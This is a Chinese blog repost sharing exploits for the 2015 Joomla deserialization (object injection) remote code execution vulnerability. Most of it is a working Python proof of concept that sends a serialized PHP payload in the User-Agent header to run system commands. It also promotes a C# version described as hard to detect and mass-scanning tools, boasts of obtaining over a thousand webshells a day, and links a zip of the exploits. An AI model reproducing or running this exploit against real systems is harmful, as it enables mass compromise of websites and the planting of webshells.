IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    joomla 反序列化漏洞 EXP(数种最近关于这个漏洞的exp)

    没穿底裤发表于 2015-12-18 14:41:56
    love 0

    form:暗月

    joomla 反序列化漏洞 EXP(各种小程序)

    第一个是原版:

    '''
       Simple PoC for Joomla Object Injection.
       Gary @ Sec-1 ltd
       http://www.sec-1.com/
    '''
     
    import requests #  easy_install requests
     
    def get_url(url, user_agent):
     
        headers = {
        'User-Agent': user_agent
        }
        cookies = requests.get(url,headers=headers).cookies
        for _ in range(3):
            response = requests.get(url, headers=headers,cookies=cookies)    
        return response
       
    def php_str_noquotes(data):
        "Convert string to chr(xx).chr(xx) for use in php"
        encoded = ""
        for char in data:
            encoded += "chr({0}).".format(ord(char))
     
        return encoded[:-1]
     
     
    def generate_payload(php_payload):
     
        php_payload = "eval({0})".format(php_str_noquotes(php_payload))
     
        terminate = '\xf0\xfd\xfd\xfd'; exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
        injected_payload = "{};JFactory::getConfig();exit".format(php_payload) exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload) exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
     
        return exploit_template
     
     
     
    pl = generate_payload("system('touch /tmp/fx');")
     
    print get_url("http://172.31.6.242/", pl)

    第二个是c# 版本:

    4a471450412601[1]

    这个版本 基本上检测不出来的

     

    第三个版本 个人认为 是最牛逼的

    某个大牛的作品:

    hackUtils 这个掉渣天的检测工具 批量获取谷歌 百度的网址

    不知道是不是百度抽风问题 老是获取失败 谷歌也有点小问题。

    用自已的工具批量了一下 大数据处理配合这个工具 一天上千的webshell不是什么问题。

    fb5c1450412875[1]

     

    第四个:某只牛的作品 也是批量的 不过没有上面这个的犀利。

    10fb1450412966[1]

    程序打包:

    joomla反序列化各种exp(暗月整理).zip

    解压码: www.moonsec.com



沪ICP备19023445号-2号
友情链接